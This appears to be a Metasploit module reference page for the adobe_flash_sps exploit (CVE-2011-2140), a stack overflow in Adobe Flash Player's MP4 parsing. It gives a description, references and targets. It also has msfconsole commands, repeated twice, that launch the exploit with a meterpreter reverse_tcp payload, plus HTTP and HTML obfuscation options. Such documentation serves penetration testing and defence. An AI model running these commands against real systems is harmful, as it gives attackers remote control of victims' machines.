Adobe Flash Player MP4 SequenceParameterSetNALUnit Buffer Overflow
This module exploits a vulnerability found in Adobe Flash Player's Flash10u.ocx component. When processing a MP4 file (specifically the Sequence Parameter Set), Flash will see if pic_order_cnt_type is equal to 1, which sets the num_ref_frames_in_pic_order_cnt_cycle field, and then blindly copies data in offset_for_ref_frame on the stack, which allows arbitrary remote code execution under the context of the user. Numerous reports also indicate that this vulnerability has been exploited in the wild.
Exploit Rank
- Normal
Exploit Authors
- Alexander Gavrun < >
- Abysssec < >
- sinn3r < sinn3r [at] metasploit.com >
Vulnerability References
- CVE-2011-2140
- OSVDB-74439
- BID-49083
- http://www.zerodayinitiative.com/advisories/ZDI-11-276/
- http://www.kahusecurity.com/2011/cve-2011-2140-caught-in-the-wild/
- http://www.adobe.com/support/security/bulletins/apsb11-21.html
- http://0x1byte.blogspot.com/2011/11/analysis-of-cve-2011-2140-adobe-flash.html
- http://www.abysssec.com/blog/2012/01/31/exploiting-cve-2011-2140-another-flas...
Exploit Targets
- 0 - Automatic (default)
- 1 - IE 6 on Windows XP SP3
- 2 - IE 7 on Windows XP SP3 / Vista
Exploit Development
Similar Exploit Modules
- exploit/windows/browser/adobe_cooltype_sing
- exploit/windows/browser/adobe_flash_mp4_cprt
- exploit/windows/browser/adobe_flashplayer_avm
- exploit/windows/browser/adobe_flashplayer_flash10o
- exploit/windows/browser/adobe_flashplayer_newfunction
- exploit/windows/browser/adobe_flatedecode_predictor02
- exploit/windows/browser/adobe_geticon
- exploit/windows/browser/adobe_jbig2decode
- exploit/windows/browser/adobe_media_newplayer
- exploit/windows/browser/adobe_shockwave_rcsl_corruption
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/browser/adobe_flash_sps
msf exploit(adobe_flash_sps) > show payloads
msf exploit(adobe_flash_sps) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(adobe_flash_sps) > set LHOST [MY IP ADDRESS]
msf exploit(adobe_flash_sps) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/browser/adobe_flash_sps
msf exploit(adobe_flash_sps) > show payloads
msf exploit(adobe_flash_sps) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(adobe_flash_sps) > set LHOST [MY IP ADDRESS]
msf exploit(adobe_flash_sps) > exploit
Exploit Module Options
| OBFUSCATE | Enable JavaScript obfuscation |
| SRVHOST | The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0) |
| SRVPORT | The local port to listen on. (default: 8080) |
| SSL | Negotiate SSL for incoming connections |
| SSLCert | Path to a custom SSL certificate (default is randomly generated) |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3) |
| URIPATH | The URI to use for this exploit (default is random) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| ListenerComm | The specific communication channel to use for this service |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| HTML::base64 | Enable HTML obfuscation via an embeded base64 html object (IE not supported) (accepted: none, plain, single_pad, double_pad, random_space_injection) |
| HTML::javascript::escape | Enable HTML obfuscation via HTML escaping (number of iterations) |
| HTML::unicode | Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be) |
| HTTP::chunked | Enable chunking of HTTP responses via "Transfer-Encoding: chunked" |
| HTTP::compression | Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate) |
| HTTP::header_folding | Enable folding of HTTP headers |
| HTTP::junk_headers | Enable insertion of random junk HTTP headers |
| HTTP::server_name | Configures the Server header of all outgoing replies |
| TCP::max_send_size | Maximum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
